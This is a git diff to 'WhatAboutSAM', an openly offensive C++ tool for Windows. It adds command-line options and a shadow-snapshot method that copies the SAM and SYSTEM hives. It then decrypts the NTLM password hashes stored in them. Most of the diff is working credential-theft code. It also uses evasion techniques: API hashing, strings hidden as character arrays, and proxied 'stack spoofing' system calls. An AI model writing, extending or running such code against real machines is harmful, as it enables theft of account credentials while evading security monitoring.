diff --git a/.gitignore b/.gitignore
index 8a30d25..f1e8799 100644
--- a/.gitignore
+++ b/.gitignore
@@ -396,3 +396,5 @@ FodyWeavers.xsd
# JetBrains Rider
*.sln.iml
+
+WhatAboutSAM/WhatAboutSAM/lib/cryptlib-debug.lib
\ No newline at end of file
diff --git a/README.md b/README.md
index 2cac8f2..ce2c43e 100644
--- a/README.md
+++ b/README.md
@@ -27,9 +27,9 @@ Please, take a look at the credits because without these projects this would not
- [x] API Hashing
- [x] Travis CI (Finally done with Github Actions)
- [x] Debug Branch vs Release Branch
-- [ ] Shadow Snapshot Method
+- [x] Shadow Snapshot Method
- [ ] Test Old Algorithm. What a bummer. Microsoft Changed storage in SAM in Windows 10 1909
-- [ ] Command Line Parameters
+- [x] Command Line Parameters
- [ ] Add more comments :)
- [ ] Debug prints
- [ ] Elevate to SYSTEM
diff --git a/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj b/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj
index 59463d4..6dee0ed 100644
--- a/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj
+++ b/WhatAboutSAM/WhatAboutSAM/WhatAboutSAM.vcxproj
@@ -126,7 +126,7 @@
Console
true
- $(SolutionDir)WhatAboutSAM\lib\cryptlib.lib;vssapi.lib;"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\km\x64\offreg.lib";%(AdditionalDependencies)
+ $(SolutionDir)WhatAboutSAM\lib\cryptlib-debug.lib;vssapi.lib;$(WindowsSdkDir)lib\$(TargetPlatformVersion)\km\x64\offreg.lib;%(AdditionalDependencies)
@@ -144,7 +144,7 @@
true
true
true
- $(SolutionDir)WhatAboutSAM\lib\cryptlib.lib;vssapi.lib;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\km\x64\offreg.lib;%(AdditionalDependencies)
+ $(SolutionDir)WhatAboutSAM\lib\cryptlib-release.lib;vssapi.lib;$(WindowsSdkDir)lib\$(TargetPlatformVersion)\km\x64\offreg.lib;%(AdditionalDependencies)
diff --git a/WhatAboutSAM/WhatAboutSAM/include/main.h b/WhatAboutSAM/WhatAboutSAM/include/main.h
index c851153..d3d6555 100644
--- a/WhatAboutSAM/WhatAboutSAM/include/main.h
+++ b/WhatAboutSAM/WhatAboutSAM/include/main.h
@@ -11,8 +11,6 @@
#define MAX_SAM_ENTRIES 100
#define STR_TO_KEY_LEN 8
-#define PROXY_NT_CALLS 1
-
#define NtOpenKey_RFDT 0xB9491C52
#define NtQueryKey_RFDT 0x3C34AAD6
#define NtEnumerateKey_RFDT 0x8E67DF26
diff --git a/WhatAboutSAM/WhatAboutSAM/include/ntdll.h b/WhatAboutSAM/WhatAboutSAM/include/ntdll.h
index 945283b..5465775 100644
--- a/WhatAboutSAM/WhatAboutSAM/include/ntdll.h
+++ b/WhatAboutSAM/WhatAboutSAM/include/ntdll.h
@@ -9,7 +9,6 @@ typedef enum _KEY_INFORMATION_CLASS {
KeyFlagsInformation, // KEY_FLAGS_INFORMATION
KeyVirtualizationInformation, // KEY_VIRTUALIZATION_INFORMATION
KeyHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION
- KeyTrustInformation, // KEY_TRUST_INFORMATION
KeyLayerInformation, // KEY_LAYER_INFORMATION
MaxKeyInfoClass
} KEY_INFORMATION_CLASS;
diff --git a/WhatAboutSAM/WhatAboutSAM/include/offreg.h b/WhatAboutSAM/WhatAboutSAM/include/offreg.h
index 4b21cc6..eff7a32 100644
--- a/WhatAboutSAM/WhatAboutSAM/include/offreg.h
+++ b/WhatAboutSAM/WhatAboutSAM/include/offreg.h
@@ -16,7 +16,6 @@ Module Name:
#pragma once
#ifndef __OFFREG_H__
-#define __OFFREG_H__
#ifdef __cplusplus
extern "C"
diff --git a/WhatAboutSAM/WhatAboutSAM/lib/cryptlib.lib b/WhatAboutSAM/WhatAboutSAM/lib/cryptlib-release.lib
similarity index 100%
rename from WhatAboutSAM/WhatAboutSAM/lib/cryptlib.lib
rename to WhatAboutSAM/WhatAboutSAM/lib/cryptlib-release.lib
diff --git a/WhatAboutSAM/WhatAboutSAM/main.cpp b/WhatAboutSAM/WhatAboutSAM/main.cpp
index 20aa490..ec48890 100644
--- a/WhatAboutSAM/WhatAboutSAM/main.cpp
+++ b/WhatAboutSAM/WhatAboutSAM/main.cpp
@@ -8,10 +8,6 @@
#include
#include
-//#include
-//#include
-//#include
-//#include
#include "include/main.h"
#include "include/proxyNtCalls.h"
@@ -64,7 +60,7 @@ FARPROC myGetProcAddress(DWORD moduleHash, DWORD exportHash) {
WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllPath, dllNameLength, NULL, NULL);
CharUpperA(dllPath);
- CHAR * last = strrchr(dllPath, '\\');
+ CHAR* last = strrchr(dllPath, '\\');
last++;
if (HashString2A(last) == moduleHash)
{
@@ -264,14 +260,14 @@ void getSAM(PSAM samRegEntries[], PULONG size) {
ULONG lenRet = nEntries * sizeof(SAM);
CopyMemory(size, &lenRet, sizeof(ULONG));
-
+
if (samRegEntries != NULL) {
- for (int i = 0; i < nEntries; i++) {
+ for (int i = 0; i < nEntries; i++) {
samRegEntries[i] = sams[i];
//HeapFree(GetProcessHeap(), 0, sams[i]);
}
}
-
+
return;
}
@@ -279,7 +275,7 @@ void getSAM(PSAM samRegEntries[], PULONG size) {
void decryptSAM(PSAM samRegEntries[], int entries) {
CHAR strMagic1[] = { '!','@','#','$','%','^','&','*','(',')','q','w','e','r','t','y','U','I','O','P','A','z','x','c','v','b','n','m','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q','Q',')','(','*','@','&','%', '\0' };
CHAR strMagic2[] = { '0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9', '\0' };
- CHAR strMagic3[] = { 'N','T','P','A','S','S','W','O','R','D', '\0'};
+ CHAR strMagic3[] = { 'N','T','P','A','S','S','W','O','R','D', '\0' };
for (int i = 0; i < entries; i++) {
LONG offset = 0;
@@ -297,7 +293,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) {
BYTE bootKey[16];
getBootKey(samRegEntries[i], bootKey);
- BYTE encNTLMrecovered[16] = {};
+ BYTE encNTLMrecovered[16] = {};
if (samRegEntries[i]->v[0xAC] == 0x38) {
BYTE encSyskey[16] = {};
@@ -308,7 +304,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) {
CBC_Mode< AES >::Decryption d;
d.SetKeyWithIV(bootKey, 16, encSyskeyIV, 16);
-
+
BYTE sysKey[16] = {};
ArraySink rs(sysKey, 16);
ArraySource s(encSyskey, 16, true,
@@ -326,7 +322,7 @@ void decryptSAM(PSAM samRegEntries[], int entries) {
CBC_Mode< AES >::Decryption d2;
d2.SetKeyWithIV(sysKey, 16, encNTLMIV, 16);
-
+
ArraySink rs2(encNTLMrecovered, 16);
ArraySource s2(encNTLM, 16, true,
new StreamTransformationFilter(d2,
@@ -480,7 +476,7 @@ void getClasses(PSAM samRegEntry) {
PWCHAR sAll[4] = { sJD, sSkew1, sGBG, sData };
- WCHAR Reg[] = { L'\\',L'R',L'e',L'g',L'i',L's',L't',L'r',L'y',L'\\',L'M',L'a',L'c',L'h',L'i',L'n',L'e',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M',L'\\',L'C',L'u',L'r',L'r',L'e',L'n',L't',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'S',L'e',L't',L'\\',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'\\',L'L',L's',L'a',L'\\', L'\0'};
+ WCHAR Reg[] = { L'\\',L'R',L'e',L'g',L'i',L's',L't',L'r',L'y',L'\\',L'M',L'a',L'c',L'h',L'i',L'n',L'e',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M',L'\\',L'C',L'u',L'r',L'r',L'e',L'n',L't',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'S',L'e',L't',L'\\',L'C',L'o',L'n',L't',L'r',L'o',L'l',L'\\',L'L',L's',L'a',L'\\', L'\0' };
WCHAR resul[MAX_KEY_VALUE_LENGTH] = L"\0";
@@ -616,7 +612,7 @@ DWORD HashString2A(LPCSTR String)
}
int main(int argc, char** argv) {
- #ifdef PROXY_NT_CALLS
+#ifdef PROXY_NT_CALLS
pMyNtOpenKey = proxyNtOpenKey;
pMyNtQueryKey = proxyNtQueryKey;
@@ -626,8 +622,8 @@ int main(int argc, char** argv) {
pMyNtClose = proxyNtCloseKey;
pMyRtlInitUnicodeString = proxyRtlInitUnicodeString;
- #endif // PROXY_NT_CALLS
- #ifndef PROXY_NT_CALLS
+#endif // PROXY_NT_CALLS
+#ifndef PROXY_NT_CALLS
FARPROC auxPMyNtOpenKey = myGetProcAddress(ntdlldll_RFDT, NtOpenKey_RFDT);
FARPROC auxPMyNtQueryKey = myGetProcAddress(ntdlldll_RFDT, NtQueryKey_RFDT);
@@ -635,7 +631,7 @@ int main(int argc, char** argv) {
FARPROC auxPMyNtQueryValueKey = myGetProcAddress(ntdlldll_RFDT, NtQueryValueKey_RFDT);
FARPROC auxPMyNtEnumerateValueKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateValueKey_RFDT);
FARPROC auxPMyNtClose = myGetProcAddress(ntdlldll_RFDT, NtClose_RFDT);
- FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, rtlini);
+ FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, RtlInitUnicodeString_RFDT);
pMyNtOpenKey = (myNtOpenKey)auxPMyNtOpenKey;
pMyNtQueryKey = (myNtQueryKey)auxPMyNtQueryKey;
@@ -644,29 +640,113 @@ int main(int argc, char** argv) {
pMyNtEnumerateValueKey = (myNtEnumerateValueKey)auxPMyNtEnumerateValueKey;
pMyNtClose = myNtClose(auxPMyNtClose);
pMyRtlInitUnicodeString = (myRtlInitUnicodeString)auxPMyRtlInitUnicodeString;
-
- #endif // !PROXY_NT_CALLS
- // Time to debug as always works at first :D
- //
- ULONG size;
- //getSAM(NULL, &size);
+#endif // !PROXY_NT_CALLS
+
+ BOOL useShadowSnapshotFlag = FALSE;
+ BOOL useRegistryFlag = FALSE;
+ BOOL debugFlag = FALSE;
+ BOOL proxyNTCallsFlag = FALSE;
+
+ CHAR helpOptionShort[] = "-h";
+ CHAR helpOptionLong[] = "--help";
+ CHAR ssOptionShort[] = "-ss";
+ CHAR ssOptionLong[] = "--shadowSnapshot";
+ CHAR registryOptionShort[] = "-r";
+ CHAR registryOptionLong[] = "--registry";
+ CHAR debugOptionShort[] = "-d";
+ CHAR debugOptionLong[] = "--debug";
+ CHAR stackSpoofOptionShort[] = "-cc";
+ CHAR stackSpoofOptionLong[] = "--customCallback";
+
+ if (argc == 1) {
+ printf("Usage: %s [options]\n", argv[0]);
+ printf("Options:\n");
+ printf(" %s, %s Show this help message\n", helpOptionShort, helpOptionLong);
+ printf(" %s, %s\tUse shadow snapshot method\n", ssOptionShort, ssOptionLong);
+ printf(" %s, %s\t\tUse registry method\n", registryOptionShort, registryOptionLong);
+ printf(" %s, %s\t\tEnable debug mode\n", debugOptionShort, debugOptionLong);
+ printf(" %s, %s\tUse custom callback mechanism (Stack Spoofing)\n", stackSpoofOptionShort, stackSpoofOptionLong);
+ }
+
+ for (int i = 1; i < argc; i++) {
+ PCHAR currentArg = argv[i];
+
+ if (strncmp(currentArg, helpOptionShort, strlen(helpOptionShort)) == 0 || strncmp(currentArg, helpOptionLong, strlen(helpOptionLong)) == 0) {
+ printf("Usage: %s [options]\n", argv[0]);
+ printf("Options:\n");
+ printf(" %s, %s Show this help message\n", helpOptionShort, helpOptionLong);
+ printf(" %s, %s\tUse shadow snapshot method\n", ssOptionShort, ssOptionLong);
+ printf(" %s, %s\t\tUse registry method\n", registryOptionShort, registryOptionLong);
+ printf(" %s, %s\t\tEnable debug mode\n", debugOptionShort, debugOptionLong);
+ printf(" %s, %s\tUse custom callback mechanism (Stack Spoofing)\n", stackSpoofOptionShort, stackSpoofOptionLong);
+ }
+ else if (strncmp(currentArg, ssOptionShort, strlen(ssOptionShort)) == 0 || strncmp(currentArg, ssOptionLong, strlen(ssOptionLong)) == 0) {
+ useShadowSnapshotFlag = TRUE;
+ }
+ else if (strncmp(currentArg, registryOptionShort, strlen(registryOptionShort)) == 0 || strncmp(currentArg, registryOptionLong, strlen(registryOptionLong)) == 0) {
+ useRegistryFlag = TRUE;
+ }
+ else if (strncmp(currentArg, debugOptionShort, strlen(debugOptionShort)) == 0 || strncmp(currentArg, debugOptionLong, strlen(debugOptionLong)) == 0) {
+ debugFlag = TRUE;
+ }
+ else if (strncmp(currentArg, stackSpoofOptionShort, strlen(stackSpoofOptionShort)) == 0 || strncmp(currentArg, stackSpoofOptionLong, strlen(stackSpoofOptionLong)) == 0) {
+ proxyNTCallsFlag = TRUE;
+ }
+ }
+
+ if (proxyNTCallsFlag) {
+ pMyNtOpenKey = proxyNtOpenKey;
+ pMyNtQueryKey = proxyNtQueryKey;
+ pMyNtEnumerateKey = proxyNtEnumerateKey;
+ pMyNtQueryValueKey = proxyNtQueryValueKey;
+ pMyNtEnumerateValueKey = proxyNtEnumerateValueKey;
+ pMyNtClose = proxyNtCloseKey;
+ pMyRtlInitUnicodeString = proxyRtlInitUnicodeString;
+ }
+ else {
+ FARPROC auxPMyNtOpenKey = myGetProcAddress(ntdlldll_RFDT, NtOpenKey_RFDT);
+ FARPROC auxPMyNtQueryKey = myGetProcAddress(ntdlldll_RFDT, NtQueryKey_RFDT);
+ FARPROC auxPMyNtEnumerateKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateKey_RFDT);
+ FARPROC auxPMyNtQueryValueKey = myGetProcAddress(ntdlldll_RFDT, NtQueryValueKey_RFDT);
+ FARPROC auxPMyNtEnumerateValueKey = myGetProcAddress(ntdlldll_RFDT, NtEnumerateValueKey_RFDT);
+ FARPROC auxPMyNtClose = myGetProcAddress(ntdlldll_RFDT, NtClose_RFDT);
+ FARPROC auxPMyRtlInitUnicodeString = myGetProcAddress(ntdlldll_RFDT, RtlInitUnicodeString_RFDT);
+
+ pMyNtOpenKey = (myNtOpenKey)auxPMyNtOpenKey;
+ pMyNtQueryKey = (myNtQueryKey)auxPMyNtQueryKey;
+ pMyNtEnumerateKey = (myNtEnumerateKey)auxPMyNtEnumerateKey;
+ pMyNtQueryValueKey = (myNtQueryValueKey)auxPMyNtQueryValueKey;
+ pMyNtEnumerateValueKey = (myNtEnumerateValueKey)auxPMyNtEnumerateValueKey;
+ pMyNtClose = myNtClose(auxPMyNtClose);
+ pMyRtlInitUnicodeString = (myRtlInitUnicodeString)auxPMyRtlInitUnicodeString;
+ }
+
+
+ if (useRegistryFlag) {
+ ULONG size;
+ PSAM sam[MAX_SAM_ENTRIES] = {};
- // Array of PSAM
- PSAM sam[MAX_SAM_ENTRIES] = {};
+ getSAM(NULL, &size);
- //getSAM(sam, &size);
+ getSAM(sam, &size);
- //decryptSAM(sam, size/sizeof(SAM));
+ decryptSAM(sam, size / sizeof(SAM));
+ }
- //HeapFree(GetProcessHeap(), 0, sam);
+ if (useShadowSnapshotFlag) {
+ ULONG size;
+ PSAM sam[MAX_SAM_ENTRIES] = {};
- WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)];
- WCHAR sourcePathFileSYSTEM[MAX_PATH * sizeof(WCHAR)];
- createSS(sourcePathFileSAM, sourcePathFileSYSTEM);
+ WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)];
+ WCHAR sourcePathFileSYSTEM[MAX_PATH * sizeof(WCHAR)];
+ createSS(sourcePathFileSAM, sourcePathFileSYSTEM);
- getSAMfromRegf(NULL, &size, sourcePathFileSAM, sourcePathFileSYSTEM);
- getSAMfromRegf(sam, &size, sourcePathFileSAM, sourcePathFileSYSTEM);
+ getSAMfromRegf(NULL, &size, sourcePathFileSAM, sourcePathFileSYSTEM);
+ getSAMfromRegf(sam, &size, sourcePathFileSAM, sourcePathFileSYSTEM);
+
+ decryptSAM(sam, size / sizeof(SAM));
+ }
- decryptSAM(sam, size / sizeof(SAM));
+ // Debug option TODO
}
\ No newline at end of file
diff --git a/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp b/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp
index 19f1cee..8599a78 100644
--- a/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp
+++ b/WhatAboutSAM/WhatAboutSAM/shadowMethod.cpp
@@ -11,7 +11,7 @@
// Special mention to ShadowDuplicator from Peter Upfold because I took some much code from it to implement the shadow copy method and get SYSTEM and SAM from it
// https://github.com/PeterUpfold
//
-
+
#define _CRT_SECURE_NO_WARNINGS
#include
@@ -27,16 +27,16 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat
HRESULT result;
int strResult;
BOOL resultRead;
- BYTE * SAM;
- BYTE * SYSTEM;
+ BYTE* SAM;
+ BYTE* SYSTEM;
DWORD numberBytesRead;
DWORD fileSize;
HANDLE file;
- IVssBackupComponents * backupComponents = NULL;
- IVssAsync * vssAsync = NULL;
+ IVssBackupComponents* backupComponents = NULL;
+ IVssAsync* vssAsync = NULL;
HRESULT asyncResult = E_FAIL;
- VSS_ID * snapshotSetId = NULL;
- VSS_ID * snapshotId = NULL;
+ VSS_ID* snapshotSetId = NULL;
+ VSS_ID* snapshotId = NULL;
VSS_SNAPSHOT_PROP snapshotProp{};
// For now, we presuppose C:
@@ -54,7 +54,7 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat
if (result != S_OK) {
exit(result);
}
-
+
result = CreateVssBackupComponents(&backupComponents);
if (result != S_OK) {
@@ -160,7 +160,6 @@ BOOL createSS(WCHAR sourcePathFileSAM[MAX_PATH * sizeof(WCHAR)], WCHAR sourcePat
// SAM
WCHAR auxSAM[] = { L'W',L'i',L'n',L'd',L'o',L'w',L's',L'\\',L'S',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'C',L'o',L'n',L'f',L'i',L'g',L'\\',L'S',L'A',L'M', L'\0' };
strResult = swprintf(sourcePathFileSAM, MAX_PATH * sizeof(WCHAR), L"%s\\%s", snapshotProp.m_pwszSnapshotDeviceObject, auxSAM);
-
// SYSTEM
WCHAR auxSYSTEM[] = { L'W',L'i',L'n',L'd',L'o',L'w',L's',L'\\',L'S',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'C',L'o',L'n',L'f',L'i',L'g',L'\\',L'S',L'Y',L'S',L'T',L'E',L'M', L'\0' };
strResult = swprintf(sourcePathFileSYSTEM, MAX_PATH * sizeof(WCHAR), L"%s\\%s", snapshotProp.m_pwszSnapshotDeviceObject, auxSYSTEM);
@@ -359,7 +358,7 @@ void getClassesfromRegf(PSAM samRegEntry, WCHAR SYSTEMPath[MAX_PATH]) {
if (!NT_SUCCESS(ret)) {
exit(ret);
}
-
+
ret = OROpenKey(systemHive, L"ControlSet001", &key);
if (!NT_SUCCESS(ret)) {
@@ -401,4 +400,4 @@ void getClassesfromRegf(PSAM samRegEntry, WCHAR SYSTEMPath[MAX_PATH]) {
wcscpy_s(samRegEntry->classes, MAX_KEY_VALUE_LENGTH, resul);
return;
-}
+}
\ No newline at end of file